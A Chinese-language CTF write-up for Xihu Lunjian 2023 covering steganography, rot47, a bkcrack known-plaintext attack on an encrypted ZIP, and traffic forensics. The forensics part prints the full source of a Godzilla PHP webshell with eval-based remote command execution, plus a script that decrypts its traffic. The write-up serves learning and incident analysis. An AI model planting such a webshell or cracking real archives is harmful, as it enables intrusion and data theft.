喜提50名,差大概一道题去线下,还是太菜了,呜呜呜。
WEB
比赛的时候没咋做web,毕竟大哥都去做web了,现在复现下
Node Magical Login
改cookie拿第一段
传数组扔报错绕判断(注意把数组旁的引号去了,不然就识别成字符串了)
扭转乾坤
它说multipart/form-data不行,于是改成multipart/for-data即可拿flag,不知道在考啥
MISC
签到题喵
把jpg最后一段与jpg格式不符合的十六进制数据复制出来,另存文件,可以发现文本:给这个公众号发送:“西湖论剑2023我来了!”获得flag,所以去公众号发完就拿到flag了。
mp3
有点套娃。
从附件下载后得到一段mp3音频,用foremost可以分离一张图片:
刚开始看起来像二维码碎片啥的,后来我用Stegsolve试了试,发现改lsb可以变成一个压缩包:
当然,你用lsb一把梭神器zsteg也能发现它可以变成zip压缩包:
改为压缩包之后需要密码,密码从哪儿找呢,当然只能去那个音频文件那里找了。我当时一直想着MP3Stego好像必须得有密码才能分离文件,卡了好久找密码,后来Zima提醒我是可以空密码的,这才恍然大悟:
获得解压密码:8750d5109208213f,用这个可以解压之前我们改lsb得到的压缩包,然后得到一个47.txt:
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
我当时也不知道这是啥,用CTF+47的关键字搜了下,发现是rot47(这就是信息搜集的重要性!),找个在线平台解密一下,得到:
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
这是一段js代码,找个在线js平台跑一下即可:
take_the_zip_easy
附件是一个压缩包,有密码,预览可以发现假如解压出来可以得到一个压缩包和一个pcapng:
我嗯爆破完全跑不出来,想想也是,这种大比赛的压缩包密码基本上爆破不出来,对于zip常见的考点除了爆破、伪加密、CRC32明文碰撞,还有一个经典考点就是明文攻击了,但我当时压根就找不到啥明文,赛后看了看Zima的wp,发现还真能明文攻击,长见识了!
参考ZIP已知明文攻击深入利用中的3.2.3利用压缩包格式破解:将一个名为flag.txt的文件打包成ZIP压缩包后,你会发现文件名称会出现在压缩包文件头中,且偏移固定为30。且默认情况下,flag.zip也会作为该压缩包的名称。所以,当一个加密压缩包中存在另一个ZIP压缩包时,且能够知道或猜测该压缩包内的文件名称时,可以尝试进行已知明文攻击。将flag.zip与其他文件(选用一张图片)一起用好压打包成加密ZIP压缩包:test5.zip,这时我们已知的明文片段有:“flag.txt” 8个字节,偏移30以及ZIP本身文件头:50 4B 03 04 ,4字节,8+4,满足了破解的最低要求。
回到本题,那么这里的明文在哪里呢?在dasflow.zip这里,我们不妨大胆假设,这个压缩包解压后得到的就是dasflow.pcapng,那我们也就知道明文就是dasflow.pcapng了,因此只要按部就班的照着那个文章来就够了。大伙先照着那个文章装好bkcrack,抄payload即可:
echo -n "dasflow.pcapng" >p.txt
time bkcrack -C zipeasy.zip -c dasflow.zip -p p.txt -o 30 -x 0 504B0304 >1.log&
tail -f 1.log #这一步要跑很久,慢慢等吧
用得到的密钥进行解压,获得dasflow.pcapng:
bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
首先可以直接从HTTP提取一个flag.zip出来:
但需要密码,所以我们得去看流量找密码,追踪426的TCP流,可以发现一段代码:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这是很明显的哥斯拉的流量特征,我们可以参考:哥斯拉还原加密流量,对于返回包使用如下脚本解密:
因为我们这道题$pass=’air123′;,所以要找到air123,在1127这里POST eval.php的数据包里找到(这里我是运气好,他这里连马后操作还是挺多的,得一个一个去eval.php的数据包里找air123还原命令,我是一下找到了,遇到不是标准的base64
就要把前面的16位和后面的16位去掉)
然后对着原博客的脚本改成现在的pass和key解密一下即可:
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key));
?>
所以flag.zip的压缩包密码就是:
airDAS1231qaSW@
解压flag.zip即可拿到flag
机你太美
把下载后的那个dasctf.npbk后缀改为7z,然后用Bandzip把里面的vmdk解压出来(应该是只有Bandzip这个压缩软件,我之前用的winrar啥的都显示数据错误)
有了vmdk直接上取证大师,在Exif这里有一个75.jpg,似乎比较特殊,我们把它提取出来
导出来之后在Linux里exiftool 75.jpg查看一下图片的exif信息:
可以看到这里提示我们XOR DasCTF2022一下,但直接xor图片好像没啥反应,继续查找一下信息,在PNG那里导出41.png,使用Stegsolve查看发现一些有规律的像素点,看起来很像二进制
我们把这256个像素点裁剪下来,用python脚本把它以二进制形式识别一下
import cv2
img = cv2.imread("solved.png", cv2.IMREAD_GRAYSCALE)
bin_str = ""
for i in img:
if i == 0:
bin_str += "0"
else:
bin_str += "1"
print(bin_str)
print(len(bin_str))
#0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001
把它转化成字符串,得到:e01544a9333ef62a3aa27357eb52ea8a
这个东西看起来很像压缩包密码,回到取证大师压缩包那里,发现可以提取很多压缩包出来,经检验这正是50.zip的解压密码
解压后flag文件,里面是一些乱码,联想到前面说的异或,在CyberChef导入flag文件后异或UTF8编码的DasCTF2022即可